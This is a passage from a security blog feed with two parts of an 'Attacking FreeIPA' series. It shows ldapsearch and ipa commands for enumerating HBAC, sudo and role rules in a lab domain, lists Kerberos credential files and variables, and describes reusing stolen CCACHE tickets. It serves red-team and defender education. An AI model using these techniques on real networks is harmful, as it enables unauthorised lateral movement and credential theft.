&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;f6df&quot;&gt;Access controls, at a high level, define&amp;nbsp;&lt;em&gt;who&lt;/em&gt;&amp;nbsp;has access to&amp;nbsp;&lt;em&gt;what&lt;/em&gt;. The&amp;nbsp;&lt;em&gt;who&lt;/em&gt;&amp;nbsp;can be either a user or a host (the source host), and the&amp;nbsp;&lt;em&gt;what&lt;/em&gt;&amp;nbsp;can be either a host (target host), service, or service group, or a combination of the three.&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;4315&quot;&gt;HBAC-Rules should be used to delegate access to specific resources. This access control can be extremely effective at mitigating lateral movement, when configured correctly. As an attacker we can use HBAC-Rules to identify which accounts have been delegated access to specific resources inside of the environment.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;1af1&quot;&gt;Let’s review how to enumerate these policies.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;3419&quot;&gt;&lt;strong&gt;Enumeration via LDAP Queries&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;3419&quot;&gt;The following command can be used to retrieve all the HBAC-Rules inside of the lab environment:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ldapsearch -Y gssapi -b &quot;cn=hbac,dc=westeros,dc=local&quot;&lt;/code&gt;&lt;/pre&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;632&quot; src=&quot;/assets/specterops/2019/12/1oDMh803BwXLtipfcJsXdPQ.png&quot; alt=&quot;&quot; class=&quot;wp-image-21178&quot; srcset=&quot;/assets/specterops/2019/12/1oDMh803BwXLtipfcJsXdPQ.png 720w, /assets/specterops/2019/12/1oDMh803BwXLtipfcJsXdPQ.png?resize=300,263 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;LDAP response data details HBAC-rules in the lab environment&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;9288&quot;&gt;&lt;strong&gt;Enumeration via IPA administrative tools&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;0c78&quot;&gt;The following commands can be used to retrieve all of the HBAC-Rules inside of the lab environment.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ipa hbacrule-find
-----------------
ipa hbacrule-show &amp;lt;hbacrule&gt; --all&lt;/code&gt;&lt;/pre&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;205d&quot;&gt;Sudo-Rules&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;ac83&quot;&gt;The&amp;nbsp;&lt;a href=&quot;https://docs.fedoraproject.org/en-US/Fedora/18/html/FreeIPA_Guide/defining-sudorules.html&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;Fedora FreeIPA documentation&lt;/a&gt;&amp;nbsp;defines Sudo-Rules as:&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;980c&quot;&gt;Sudo rules are in a sense similar to access control rules: they define users who are granted access, the commands which are within the scope of the rule, and then the target hosts to which the rule applies. In FreeIPA, additional information can be configured in the rule, such as sudoers options and run-as settings, but the basic elements always define who, what (services), and where (hosts).&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;d005&quot;&gt;FreeIPA provides the ability to manage sudo permissions from one centralized source through sudo-rules. These rulesets can be used to restrict or delegate the ability to execute commands as sudo on hosts enrolled in the domain. As an attacker we can enumerate which hosts and users these rulesets are applied too, and which commands are allowed through the ruleset.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;47df&quot;&gt;&lt;strong&gt;Enumeration via LDAP Queries&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;2d7f&quot;&gt;The following command can be used to retrieve all of the sudo-rules inside of the lab environment:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ldapsearch -Y gssapi -b &quot;cn=sudorules,cn=sudo,dc=westeros,dc=local&quot;&lt;/code&gt;&lt;/pre&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;300&quot; src=&quot;/assets/specterops/2019/12/1pWtR5pzW1KPGAy_cIa7wAg.png&quot; alt=&quot;&quot; class=&quot;wp-image-21179&quot; srcset=&quot;/assets/specterops/2019/12/1pWtR5pzW1KPGAy_cIa7wAg.png 720w, /assets/specterops/2019/12/1pWtR5pzW1KPGAy_cIa7wAg.png?resize=300,125 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;LDAP response data details a sudo-rule in the lab environment.&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;1884&quot;&gt;&lt;strong&gt;Enumeration via&lt;/strong&gt;&amp;nbsp;&lt;strong&gt;IPA administrative tools&lt;/strong&gt;&lt;br&gt;The following commands can be used to retrieve all of the sudo-rules inside of the lab environment.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ipa sudorule-find
-----------------
ipa sudorule-show &amp;lt;sudorule&gt; --all&lt;/code&gt;&lt;/pre&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;f324&quot;&gt;Role-Based Access Control&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;af12&quot;&gt;The&amp;nbsp;&lt;a href=&quot;https://docs.fedoraproject.org/en-US/Fedora/18/html/FreeIPA_Guide/defining-sudorules.html&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;Fedora FreeIPA documentation&lt;/a&gt;&amp;nbsp;defines role-based access control as:&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;b7b7&quot;&gt;Role-based access control (RBAC) is a hierarchical way of organizing access to the data managed by FreeIPA. Different users who perform the same tasks within an organization are typically combined into a group, and this group is made a member of a FreeIPA&amp;nbsp;&lt;em&gt;Role&lt;/em&gt;. This Role provides the member groups and users the necessary permissions to perform their assigned tasks.&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;046d&quot;&gt;Roles in FreeIPA consist of a few different elements. Each role contains a set of privileges, and those respective privileges contain a set of permissions. Roles can be applied to Users, User Groups, Hosts, Host Groups, and Services. To illustrate this concept let’s discuss the default “User Administrator” role in FreeIPA.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;106&quot; src=&quot;/assets/specterops/2019/12/12HizViUqX1ZX9ZhnmY9whA.png&quot; alt=&quot;&quot; class=&quot;wp-image-21180&quot; srcset=&quot;/assets/specterops/2019/12/12HizViUqX1ZX9ZhnmY9whA.png 720w, /assets/specterops/2019/12/12HizViUqX1ZX9ZhnmY9whA.png?resize=300,44 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Enumerating the privileges of the user administrator role in FreeIPA&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;fbf1&quot;&gt;As the screenshot above shows the “User Administrator” role contains the following privileges:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;User Administrators&lt;/li&gt;



&lt;li&gt;Group Administrators&lt;/li&gt;



&lt;li&gt;Stage User Administrators&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;49b4&quot;&gt;We can drill down further and enumerate the permissions delegated to each privilege.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; height=&quot;154&quot; width=&quot;1024&quot; src=&quot;/assets/specterops/2019/12/1PhoLeO-KnJKJn6am9oFYbw.png?w=1024&quot; alt=&quot;&quot; class=&quot;wp-image-21181&quot; srcset=&quot;/assets/specterops/2019/12/1PhoLeO-KnJKJn6am9oFYbw.png 1100w, /assets/specterops/2019/12/1PhoLeO-KnJKJn6am9oFYbw.png?resize=300,45 300w, /assets/specterops/2019/12/1PhoLeO-KnJKJn6am9oFYbw.png?resize=768,115 768w, /assets/specterops/2019/12/1PhoLeO-KnJKJn6am9oFYbw.png?resize=1024,154 1024w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Enumerating the permissions for a given privilege&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;39b4&quot;&gt;As we can see the “User Administrator” role contains quite a lot of permissions inside of the environment. Understanding the general concept and structure of roles, privileges, and permissions can be critical to identifying attack paths throughout an environment.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;594f&quot;&gt;&lt;strong&gt;Enumeration via LDAP Queries&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;7321&quot;&gt;The following command can be used to retrieve all the roles inside of the lab environment:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ldapsearch -Y gssapi -b &quot;cn=roles,cn=accounts,dc=westeros,dc=local&quot;&lt;/code&gt;&lt;/pre&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;713&quot; height=&quot;680&quot; src=&quot;/assets/specterops/2019/12/1ZPz5imEXl7Wb3vnOenMjwg.png&quot; alt=&quot;&quot; class=&quot;wp-image-21182&quot; srcset=&quot;/assets/specterops/2019/12/1ZPz5imEXl7Wb3vnOenMjwg.png 713w, /assets/specterops/2019/12/1ZPz5imEXl7Wb3vnOenMjwg.png?resize=300,286 300w&quot; sizes=&quot;auto, (max-width: 713px) 100vw, 713px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;LDAP response data details the properties of the “User Administrator” role&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;b796&quot;&gt;&lt;strong&gt;Enumeration via&lt;/strong&gt; &lt;strong&gt;IPA administrative tools&lt;/strong&gt;&lt;br&gt;The following commands can be used to retrieve all of the roles, privileges, and permissions inside of the lab environment.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ipa role-find
ipa role-show &amp;lt;role&gt; --all
ipa privilege-find 
ipa privilege-show &amp;lt;privilege&gt; --all
ipa permission-find
ipa permission-show &amp;lt;permission&gt; --all&lt;/code&gt;&lt;/pre&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;bbd2&quot;&gt;Conclusion&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;cca8&quot;&gt;Hopefully by now we have a slightly better understanding of the various different types of objects inside of a FreeIPA environment, and a little bit about their significance. As an attacker the ability to not only enumerate, but understand the significance of these objects is critical.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;71da&quot;&gt;In the following posts of this series I will aim to cover the following:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Utilizing the enumeration techniques covered in this post to uncover an attack path inside of the lab environment.&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Finally, an overview of some misconfigurations and unique scenarios that attackers can abuse inside of a FreeIPA environment.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;86c0&quot;&gt;References&lt;/h2&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Defining Host-Based Access control Rules, Fedora, &lt;a href=&quot;https://docs.fedoraproject.org/en-US/Fedora/15/html/FreeIPA_Guide/hbac-rules.html&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://docs.fedoraproject.org/en-US/Fedora/15/html/FreeIPA_Guide/hbac-rules.html&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;Defining Sudo-Rules, Fedora, &lt;a href=&quot;https://docs.fedoraproject.org/en-US/Fedora/18/html/FreeIPA_Guide/defining-sudorules.html&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://docs.fedoraproject.org/en-US/Fedora/18/html/FreeIPA_Guide/defining-sudorules.html&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;Docker, FreeIPA, &lt;a href=&quot;https://www.freeipa.org/page/Docker&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://www.freeipa.org/page/Docker&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;FreeIPA Container, Github, &lt;a href=&quot;https://github.com/freeipa/freeipa-container&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://github.com/freeipa/freeipa-container&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;FreeIPA Server, DockerHub, &lt;a href=&quot;https://hub.docker.com/r/freeipa/freeipa-server/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://hub.docker.com/r/freeipa/freeipa-server/&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;MIT Kerberos Documentation, MIT, &lt;a href=&quot;https://web.mit.edu/kerberos/krb5-latest/doc/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://web.mit.edu/kerberos/krb5-latest/doc/&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;Kerberos Credential Thievery (GNU/Linux), Ronan Loftus and Arne Zismer, &lt;a href=&quot;https://www.delaat.net/rp/2016-2017/p97/report.pdf&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://www.delaat.net/rp/2016-2017/p97/report.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 04 Dec 2019 00:00:00 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2019/12/04/attacking-freeipa-part-ii-enumeration/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2019/12/04/attacking-freeipa-part-ii-enumeration/</guid>
        
        <category>FreeIPA</category>
        
        <category>Kerberos</category>
        
        <category>LDAP</category>
        
        
      </item>
    
      <item>
        <title>Attacking FreeIPA — Part I: Authentication</title>
        <description>&lt;p class=&quot;wp-block-paragraph&quot;&gt;Recently I had the opportunity to operate inside of an environment managed by FreeIPA. I wanted to take the time to share some of the lessons I learned about FreeIPA, how it works, and my methodology behind attacking it.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;abd2&quot;&gt;First things first, what is FreeIPA, and why should I care about it?&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;4d99&quot;&gt;Well to be honest I had no idea until I actually ran into it in the wild. After a bit of research, I discovered that it is an open source alternative to Microsoft Windows Active Directory, primarily used as an integrated management solution for Unix environments. Similar to Active Directory, FreeIPA implements a full LDAP directory infrastructure backed by an MIT Kerberos Key Distribution Center. It uses the Dogtag Certificate System for CA &amp;amp; RA certificate management, giving it the ability to handle multi-factor authentication, including smartcards. SSSD is used to integrate FreeIPA into the standard Unix authentication process.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;2dd7&quot;&gt;So all together we have a Unix host management system, complete with LDAP and Kerberos that allows for multi-factor authentication.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;7c82&quot;&gt;Due to the sheer amount of content, and in an attempt to make these blog posts more readable I will be splitting them into a series. This post is aimed to cover the following:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Common Files/Environment Variables/Binaries to aid in host identification during situational awareness&lt;/li&gt;



&lt;li&gt;Authentication inside of a FreeIPA environment with Keytab files, CCACHE Ticket files, and CCACHE Tickets stored in memory.&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;adb8&quot;&gt;Situational Awareness&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;b635&quot;&gt;Linux hosts enrolled in FreeIPA domains have a few indicators that operators can triage to gain information about the host and the domain. Let’s briefly review a few files, environmental variables, and binaries that indicate the host has been enrolled into an FreeIPA domain.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;dff7&quot;&gt;The following files should be on each host enrolled in a Kerberos domain:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;36c5&quot;&gt;&lt;strong&gt;/etc/krb5.conf&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;The krb5.conf file contains the Kerberos client information required to be enrolled in the domain. This includes the locations of KDCs and admin servers for the Kerberos realms of interest, defaults for the current realm and for Kerberos applications, and mappings of hostnames onto Kerberos realms.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;d907&quot;&gt;&lt;strong&gt;/etc/ipa/default.conf&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;This is the default configuration file for IPA servers, it is used to set system-wide defaults to be applied when running IPA clients and servers.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;21fd&quot;&gt;&lt;strong&gt;/etc/krb5.keytab&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;The krb5.keytab file is required on all hosts inside of the domain. It is required as part of the authentication process to the KDC.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;b2dd&quot;&gt;There are also several environment variables that, if set, may indicate the host is enrolled in a Kerberos domain:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;9506&quot;&gt;&lt;strong&gt;KRB5CCNAME&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;If set, this variable points to the location of the CCACHE Ticket to be used for authentication.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;e4f9&quot;&gt;&lt;strong&gt;KRB5_KTNAME&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;If set, this variable points to the location of the Keytab file to be used for authentication.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;d531&quot;&gt;&lt;strong&gt;KRB5_CONFIG&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;If set, this variable points to the location of the Kerberos configuration file.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;de1c&quot;&gt;&lt;strong&gt;KRB5_KDC_PROFILE&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;If set, this variable points to the location of the KDC configuration file, which contains additional configuration directives for the Key Distribution Center daemon.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;4703&quot;&gt;&lt;strong&gt;KRB5RCACHETYPE&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;This variable specifies the default type of replay cache to use for servers.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;8ffa&quot;&gt;&lt;strong&gt;KRB5RCACHEDIR&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;This variable specifies the default directory for replay caches used by servers.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;3a12&quot;&gt;&lt;strong&gt;KRB5_TRACE&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;This variable specifies a filename to write trace log output to. Trace logs can help illuminate decisions made internally by the Kerberos libraries.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;2331&quot;&gt;&lt;strong&gt;KRB5_CLIENT_KTNAME&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;This variable sets the default client keytab file name.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;2609&quot;&gt;&lt;strong&gt;KPROP_PORT&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;This variable sets the default port for kprop to use.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;33ab&quot;&gt;There are also several binaries that identify the host as enrolled in a FreeIPA Domain:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;bb8c&quot;&gt;&lt;strong&gt;ipa&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;This binary is the standard for managing a FreeIPA domain. It can be used to manage hosts, users, sudo rules, and much more.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;f20e&quot;&gt;&lt;strong&gt;kdestroy&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;The kdestroy binary is used to destroy any current Kerberos tickets in the users session.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;a849&quot;&gt;&lt;strong&gt;kinit&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;The kinit binary is used to establish, or renew Kerberos tickets.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;ac80&quot;&gt;&lt;strong&gt;klist&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;The klist binary lists any current Kerberos tickets in use, and which principals the tickets provide access to.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;1326&quot;&gt;&lt;strong&gt;kpasswd&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;The kpasswd command is used to change a Kerberos principal’s password. kpasswd first prompts for the current Kerberos password, then prompts the user twice for the new password, and the password is changed.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;b9a6&quot;&gt;&lt;strong&gt;ksu&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Ksu can be used as an alternative to the su binary, to switch the current user context.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;aa3c&quot;&gt;&lt;strong&gt;kswitch&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;The kswitch command will switch the current credential cache in use.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;3495&quot;&gt;&lt;strong&gt;kvno&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;The kvno binary acquires a service ticket for the specified Kerberos principals and prints out the key version numbers of each.&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;76f6&quot;&gt;Authentication&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;b225&quot;&gt;Understanding the underlying technologies and processes that are utilized for authentication and authorization are vital for an attacker. Without understanding each authentication mechanism, an attacker may miss valid credentials that may have enabled lateral movement, or another attack path throughout the environment. Let’s briefly review how the authentication process works in an environment managed by FreeIPA.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;e0ce&quot;&gt;Since FreeIPA uses Kerberos for authentication, this process is very similar to authentication in Active Directory. In order to access resources on the domain, a user must have a valid Kerberos ticket for that resource. These tickets can be stored in a number of different locations based on the configuration of the FreeIPA domain. I will briefly review each authentication mechanism, covering how to parse and re-use that material from an attackers prospective.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;ad7f&quot;&gt;&lt;strong&gt;CCACHE Ticket Files&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;2763&quot;&gt;When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions. From an attackers perspective this is important for the following reasons:&lt;/p&gt;



&lt;ol class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Valid tickets can be utilized to authenticate, without the need of the respective users plaintext password.&lt;/li&gt;



&lt;li&gt;CCACHE tickets are highly portable. They can be downloaded and loaded onto another host without the need to renew, or validate the ticket.&lt;/li&gt;
&lt;/ol&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;83c9&quot;&gt;Parsing a CCACHE Ticket is easily accomplished a number of different ways. The simplest method is parsing it with the klist binary.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;122&quot; src=&quot;/assets/specterops/2019/11/1sc7F4H5rc1nU50HkWuP2cg.png&quot; alt=&quot;&quot; class=&quot;wp-image-21184&quot; srcset=&quot;/assets/specterops/2019/11/1sc7F4H5rc1nU50HkWuP2cg.png 720w, /assets/specterops/2019/11/1sc7F4H5rc1nU50HkWuP2cg.png?resize=300,51 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Parsing a CCACHE Ticket with the Klist Binary.&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;8fc5&quot;&gt;For an attacker re-using a CCACHE Ticket is very easy. To re-use a valid CCACHE Ticket, export KRB5CCNAME to the path of the valid ticket file. The system should recognize the environment variable and will attempt to use that credential material when interacting with the domain.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;716&quot; height=&quot;205&quot; src=&quot;/assets/specterops/2019/11/1d4qTc7fB-xMHFCqpGgojdw.png&quot; alt=&quot;&quot; class=&quot;wp-image-21186&quot; srcset=&quot;/assets/specterops/2019/11/1d4qTc7fB-xMHFCqpGgojdw.png 716w, /assets/specterops/2019/11/1d4qTc7fB-xMHFCqpGgojdw.png?resize=300,86 300w&quot; sizes=&quot;auto, (max-width: 716px) 100vw, 716px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Re-using a valid CCACHE Ticket File Found on Disk.&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;31d4&quot;&gt;&lt;strong&gt;Unix Keyring&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;f083&quot;&gt;Another option for FreeIPA administrators is to store the CCACHE Tickets inside of the Linux keyring. The keyring lives inside of the kernel, and gives administrators more control over the retrieval and use of stored tickets. Tickets can be scoped in the following different ways:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;1a43&quot;&gt;&lt;strong&gt;KEYRING:name&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Tickets are scoped to a specific named Keyring.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;8af9&quot;&gt;&lt;strong&gt;KEYRING:process:name&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Tickets are scoped to a specific process id.&lt;/li&gt;
